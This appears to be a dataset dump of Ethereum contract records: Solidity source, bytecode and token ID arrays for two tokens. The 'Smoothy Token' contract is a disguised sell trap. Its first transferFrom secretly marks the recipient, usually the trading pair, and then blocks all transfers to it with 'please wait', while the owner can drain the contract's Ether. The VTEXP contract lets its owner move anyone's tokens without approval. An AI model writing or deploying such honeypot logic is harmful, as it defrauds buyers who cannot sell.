[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,177
0x9654929662bce8f444a7aafa9fa50d2682bc5205
pragma solidity ^0.4.24; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable{ address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract VTEXP is Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); event Transfer(address indexed from, address indexed to, uint256 value); using SafeMath for uint256; string public constant name = "VTEX Promo Token"; string public constant symbol = "VTEXP"; uint8 public constant decimals = 5; // 18 is the most common number of decimal places bool public mintingFinished = false; uint256 public totalSupply; mapping(address => uint256) balances; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); require(totalSupply <= 10000000000000); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= totalSupply); balances[_to] = balances[_to].add(_value); totalSupply = totalSupply.sub(_value); balances[msg.sender] = balances[msg.sender].sub(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) onlyOwner public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function balanceEth(address _owner) public constant returns (uint256 balance) { return _owner.balance; } }
0x6080604052600436106100c4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062837b15146100c957806305d2035b1461012057806306fdde031461014f57806318160ddd146101df57806323b872dd1461020a578063313ce5671461028f57806340c10f19146102c057806370a08231146103255780637d64bcb41461037c5780638da5cb5b146103ab57806395d89b4114610402578063a9059cbb14610492578063f2fde38b146104f7575b600080fd5b3480156100d557600080fd5b5061010a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061053a565b6040518082815260200191505060405180910390f35b34801561012c57600080fd5b5061013561055b565b604051808215151515815260200191505060405180910390f35b34801561015b57600080fd5b5061016461056e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a4578082015181840152602081019050610189565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101eb57600080fd5b506101f46105a7565b6040518082815260200191505060405180910390f35b34801561021657600080fd5b50610275600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ad565b604051808215151515815260200191505060405180910390f35b34801561029b57600080fd5b506102a461082e565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610833565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a31565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610a7a565b604051808215151515815260200191505060405180910390f35b3480156103b757600080fd5b506103c0610b41565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561040e57600080fd5b50610417610b66565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045757808201518184015260208101905061043c565b50505050905090810190601f1680156104845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561049e57600080fd5b506104dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9f565b604051808215151515815260200191505060405180910390f35b34801561050357600080fd5b50610538600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da1565b005b60008173ffffffffffffffffffffffffffffffffffffffff16319050919050565b600060149054906101000a900460ff1681565b6040805190810160405280601081526020017f565445582050726f6d6f20546f6b656e0000000000000000000000000000000081525081565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561060a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561064657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561069457600080fd5b6106e682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061077b82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f0f90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600581565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089057600080fd5b600060149054906101000a900460ff161515156108ac57600080fd5b6108c182600154610f0f90919063ffffffff16565b6001819055506509184e72a000600154111515156108de57600080fd5b61093082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f0f90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad757600080fd5b600060149054906101000a900460ff16151515610af357600080fd5b6001600060146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f565445585000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610bdc57600080fd5b6001548211151515610bed57600080fd5b610c3f82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f0f90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c9782600154610ef690919063ffffffff16565b600181905550610cef82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dfc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e3857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515610f0457fe5b818303905092915050565b60008183019050828110151515610f2257fe5b809050929150505600a165627a7a7230582075b6aac0d24e6e97df5aed7eb77404c9c1052b0c97891d36f8a2f7bfb02554d40029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 26224, 24594, 28756, 2475, 9818, 2063, 2620, 2546, 22932, 2549, 2050, 2581, 11057, 7011, 2683, 7011, 12376, 2094, 23833, 2620, 2475, 9818, 25746, 2692, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 2084, 27644, 1005, 1037, 1005, 2025, 2108, 5717, 1010, 2021, 1996, 1013, 1013, 5770, 2003, 2439, 2065, 1005, 1038, 1005, 2003, 2036, 7718, 1012, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,178
0x96550c5cdcea735e8a0a48eb6e72be69cf11db8b
/** _________ __ .__ / _____/ _____ ____ _____/ |_| |__ ___.__. \_____ \ / \ / _ \ / _ \ __\ | < | | / \ Y Y ( <_> | <_> ) | | Y \___ | /_______ /__|_| /\____/ \____/|__| |___| / ____| \/ \/ \/\/ #Smoothy Token ($SMTHY) https://smoothy.finance/ https://t.me/Smoothy_Community */ // SPDX-License-Identifier: MIT pragma solidity >=0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "SMTHY"; name = "Smoothy Token"; decimals = 18; _totalSupply = 500000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } contract SmoothyToken is TokenERC20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } // DISCLAIMER : Those tokens are generated for testing purposes, please do not invest ANY funds in them!
0x6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a914610570578063cae9ca5114610587578063d4ee1d9014610691578063dd62ed3e146106e8578063f2fde38b1461076d576100fe565b806381f4f399146103c55780638da5cb5b1461041657806395d89b411461046d578063a9059cbb146104fd576100fe565b806323b872dd116100d157806323b872dd14610285578063313ce5671461031857806370a082311461034957806379ba5097146103ae576100fe565b806306fdde0314610100578063095ea7b31461019057806318160ddd146102035780631ee59f201461022e575b005b34801561010c57600080fd5b506101156107be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015557808201518184015260208101905061013a565b50505050905090810190601f1680156101825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019c57600080fd5b506101e9600480360360408110156101b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085c565b604051808215151515815260200191505060405180910390f35b34801561020f57600080fd5b5061021861094e565b6040518082815260200191505060405180910390f35b34801561023a57600080fd5b506102436109a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029157600080fd5b506102fe600480360360608110156102a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cf565b604051808215151515815260200191505060405180910390f35b34801561032457600080fd5b5061032d610e14565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035557600080fd5b506103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e27565b6040518082815260200191505060405180910390f35b3480156103ba57600080fd5b506103c3610e70565b005b3480156103d157600080fd5b50610414600480360360208110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061100d565b005b34801561042257600080fd5b5061042b6110aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047957600080fd5b506104826110cf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c25780820151818401526020810190506104a7565b50505050905090810190601f1680156104ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050957600080fd5b506105566004803603604081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116d565b604051808215151515815260200191505060405180910390f35b34801561057c57600080fd5b506105856113cc565b005b34801561059357600080fd5b50610677600480360360608110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611474565b604051808215151515815260200191505060405180910390f35b34801561069d57600080fd5b506106a66116a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f457600080fd5b506107576004803603604081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116cd565b6040518082815260200191505060405180910390f35b34801561077957600080fd5b506107bc6004803603602081101561079057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611754565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108545780601f1061082957610100808354040283529160200191610854565b820191906000526020600020905b81548152906001019060200180831161083757829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006109a4600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546005546117f190919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a5b5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610aa65782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610bbd82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8f82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eca57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461106657600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111655780601f1061113a57610100808354040283529160200191611165565b820191906000526020600020905b81548152906001019060200180831161114857829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61128582600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131a82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461142557600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611470573d6000803e3d6000fd5b5050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561163557808201518184015260208101905061161a565b50505050905090810190601f1680156116625780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561168457600080fd5b505af1158015611698573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ad57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561180057600080fd5b818303905092915050565b600081830190508281101561181f57600080fd5b9291505056fea265627a7a723158203b01dd9aa922b89e818ed46a78ea32018c81448e43e0439a70f49be1bd555eed64736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 12376, 2278, 2629, 19797, 21456, 2581, 19481, 2063, 2620, 2050, 2692, 2050, 18139, 15878, 2575, 2063, 2581, 2475, 4783, 2575, 2683, 2278, 2546, 14526, 18939, 2620, 2497, 1013, 1008, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1012, 1035, 1035, 1013, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1064, 1035, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1012, 1035, 1035, 1012, 1032, 1035, 1035, 1035, 1035, 1035, 1032, 1013, 1032, 1013, 1035, 1032, 1013, 1035, 1032, 1035, 1035, 1032, 1064, 1026, 1064, 1064, 1013, 1032, 1061, 1061, 1006, 1026, 1035, 1028, 1064, 1026, 1035, 1028, 1007, 1064, 1064, 1061, 1032, 1035, 1035, 1035, 1064, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,179
0x96551DC439208487f484266B0d8759020dC4aDC3
